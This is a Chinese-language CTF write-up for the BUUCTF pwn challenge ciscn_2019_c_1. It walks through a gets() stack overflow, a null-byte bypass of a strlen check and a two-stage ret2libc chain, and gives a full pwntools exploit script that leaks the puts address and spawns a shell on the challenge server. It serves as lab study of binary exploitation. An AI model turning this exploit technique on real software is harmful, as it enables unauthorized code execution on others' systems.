BUUCTF-PWN-ciscn_2019_c_1

做这题的时候碰到了很多奇怪的事,在后面会有体现,如有大佬看到,望予以解答

checksec

image-20211112215825223

IDA

image-20211112220130815

image-20211112220305917

这个程序大致是用来加密解密一段字符串的,但是很明显可以看到2.Decrypt是没有用的,那么来看看1.Encrypt的内容:

image-20211112220618452

看到了gets函数,可以用来溢出,除此以外好像没有别的可以利用的东西,那么就想到ret2libc

payload

第一次溢出

  • '\0' #用来绕过if ( v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的'\0'一起,覆盖s的栈并溢出

image-20211112210222414

  • p64(rdi_ret)

image-20211112205757384

  • p64(puts_got)
  • p64(puts_plt) # 利用puts函数的got表和plt表来泄露libc版本
  • p64(main_addr) # 返回主函数再进行下一次溢出

第二次溢出

  • '\0' #用来绕过if ( v0 >= strlen(s) ),(strlen() 在读取字符串的时候 会 一直读到 \0 处停止;)
  • b'a' * (0x50 + 0x8 - 1) #与前面的'\0'一起,覆盖s的栈并溢出
  • p64(ret) # ubuntu18(题目给出的环境)上有栈平衡,用ret来进行栈对齐
  • p64(rdi_ret)
  • p64(binsh) # /bin/sh地址
  • p64(sys_addr) # system函数地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

# p = process('./ciscn_2019_c_1')
p = remote('node4.buuoj.cn', 28765)
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400b28
rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload1 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted', payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
# print(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
# puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\0'))
puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8, b'\x00'))
print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

p.sendlineafter('choice!\n', '1')

payload2 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(ret) + p64(rdi_ret) + p64(binsh) + p64(sys_addr)
p.sendlineafter('encrypted\n', payload2)

p.interactive()

结果

img

一些问题的说明

做题期间参考了一些文章,他们都是使用LibcSearcher解的题,但是实际我遇到的情况与他们的文章是有不符的:

  1. 有好几篇文章的EXP都用了两行p.recvline()来接受两个puts函数的输入,而我试过这样是根本打不通的,我在EXP中的方式如下:
1
2
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
  1. 还有别的解法是,不直接绕过if ( v0 >= strlen(s) ),而是“将计就计”利用if下面的代码,读者可以自行百度
  2. 如结果中的图片所示,根据我们给出的puts函数的一些数据,LibcSeacher匹配到了9个版本的libc,然后需要自行选择尝试,而奇怪的是,没有一篇我能查到的题解提到了这一步,似乎大佬们都是跑完脚本就直接拿到shell的,这一点我不知道是什么原因
  3. 再说一下上面的9个libc版本,我仅仅试了amd64版本的几个,发现3号和4号可以打通,0号和5号不行(不排除偶然情况,或者是别的原因)